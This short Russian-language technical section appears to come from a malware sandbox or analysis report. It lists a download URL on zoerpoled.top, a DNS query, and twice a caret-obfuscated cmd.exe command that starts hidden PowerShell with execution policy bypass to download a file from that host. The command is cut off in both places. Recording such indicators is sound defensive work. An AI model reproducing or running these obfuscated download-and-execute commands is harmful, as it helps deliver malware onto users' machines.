Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "P^Ow^e^RsheLl.^eXE ^-E^XeCuTi^o^n^P^OLicY^ b^y^PA^S^s -nOprOf^I^LE -wi^NDOws^T^y^le^ H^IDd^EN (^NEw-^oB^J^Ec^T SyStem^.NeT.Web^c^l^ient)^.do^wnlOAd^fil^e^(^'http://www.zoerpol...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /c "P^Ow^e^RsheLl.^eXE ^-E^XeCuTi^o^n^P^OLicY^ b^y^PA^S^s -nOprOf^I^LE -wi^NDOws^T^y^le^ H^IDd^EN (^NEw-^oB^J^Ec^T SyStem^.NeT.Web^c^l^ient)^.do^wnlOAd^fil^e^(^'http://www.zoerpol...' (со скрытым окном)